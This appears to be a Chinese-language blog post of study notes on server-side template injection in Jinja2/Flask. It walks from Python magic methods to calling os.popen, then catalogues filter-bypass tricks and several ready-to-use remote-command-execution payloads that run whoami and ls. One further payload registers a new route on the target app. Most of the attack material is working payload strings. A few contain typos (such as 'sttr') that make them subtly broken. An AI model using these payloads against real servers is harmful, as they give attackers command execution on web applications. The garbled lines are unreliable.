SSTI

Yolololololo發表於2024-06-01

SSTI

模板引擎:動態資料和靜態模板結合產生的輸出工具

ssti:是伺服器端的模板注入漏洞

攻擊者 將惡意程式碼輸入到模板 伺服器在執行時未對惡意程式碼進行處理 就輸出執行

將字串 當作模板執行

ssti注入就是使其渲染我們想要執行的的字串

image-20240601165234732

為什麼要用{}

{{}}在jinja2中作為變數包裹識別符號,也就是被{{}}包裹的內容會被當作變數解析出來

所以{{惡意程式碼}} 實現類似SQL隱碼攻擊

image-20240601104448809

魔術方法

__class__   :返回型別所屬的物件
__mro__     :返回一個包含物件所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   :返回該物件所繼承的父類
__mro__     :返回該物件的所有父類

__subclasses__()  獲取當前類的所有子類
__init__  類的初始化方法
__globals__  對包含(儲存)函式全域性變數的字典的引用
__getitem__()        呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__import__           動態載入類和函式,也就是匯入模組,經常用於匯入os模組,__import__('os').popen('ls').read()]
__str__()            返回描寫這個物件的字串,可以理解成就是列印出來。
read():讀取開啟了的檔案的內容

繼承關係

image-20240601123101601

建立四個類 依次繼承

在建立一個C的物件c,用__class__找到他當前的類

image-20240601105943388

返回類為C 接著找父類

image-20240601110032154

返回為B 接著找父類 直到父類為object

image-20240601110203692

或者直接一步到位使用__mro__

image-20240601110315274

__mro__方法以陣列的形式返回 可以傳入’標‘ 得到想要的陣列

image-20240601110346404

image-20240601110359881

得到object之後 檢視object類下的所有的子類

image-20240601110719068

我們最終的目的是為執行命令獲取欄位 所以要找能執行命令的函式,如

popenevalsystem()函式或者能開啟檔案的函式open

一般情況下會用popen函式 因為system()函式沒回顯,popen函式有回顯

所以 需要知道這些子類裡面哪個有能執行命令的函式

<wrap_close>子類就是其中之一

image-20240601114623672

接著初始化 初始化相當於 建立一個新的例項

然後用__globals__方法將獲取到的方法以字典的形式返回

image-20240601115537988

接下來 可以用popen函式執行命令 執行一下whoami

image-20240601115844137

image-20240601115905956

繞過

{{"".__class__}}
繞過.

[]代替.

{{""['__class__']}}

用attr()過濾器繞過

{{""|sttr('__class__')}}
繞過_

十六進位制編碼

{{“”["\x5f\x5fclass\x5f\x5f"]}}
繞過[]

__getitem__ 魔術方法

__subclasses()__.__getitem__(133)
繞過{

{%print(xxxxxxxxxxxx)%}

{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}

for迴圈

{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
繞過'"

採用 request.args.a

{{url_for.__globals__['__builtins__']}} 			等於
{{url_for.__globals__[request.args.a]}}&a=__builtins__
繞過args

當args被過濾掉時,採用request.cookies.arequest.values.a

{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

image-20240601151417812

image-20240601151506771

繞過數字

構造的數字

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10個a*12個a-3個a=117個a

構造paylaod

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
繞過關鍵字

拼接繞過 如 __class__

{{dict(__cla=a,s=b)|join}}

語句

From Tuple to RCE
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}

{%for(x)in().__class__.__base__.__subclasses__()%}for迴圈 遍歷object的每一個子類

{%if'war'in(x).__name__ %}判斷子類名稱中是否含有 war

條件為真就執行以下程式碼

{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}, 例項化找到的子類 (x()),訪問該例項的模組屬性,然後訪問內建模組 __builtins__..

From Flask g to RCE
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

g全域性變數,pop() 函式用於移除列表中的一個元素(預設最後一個元素),並且返回該元素的值。

大概就是 返回全域性變數裡的最後一個值

From url_for to RCE
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

url_for 用於構建指定函式的url

From
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

image-20240601194423068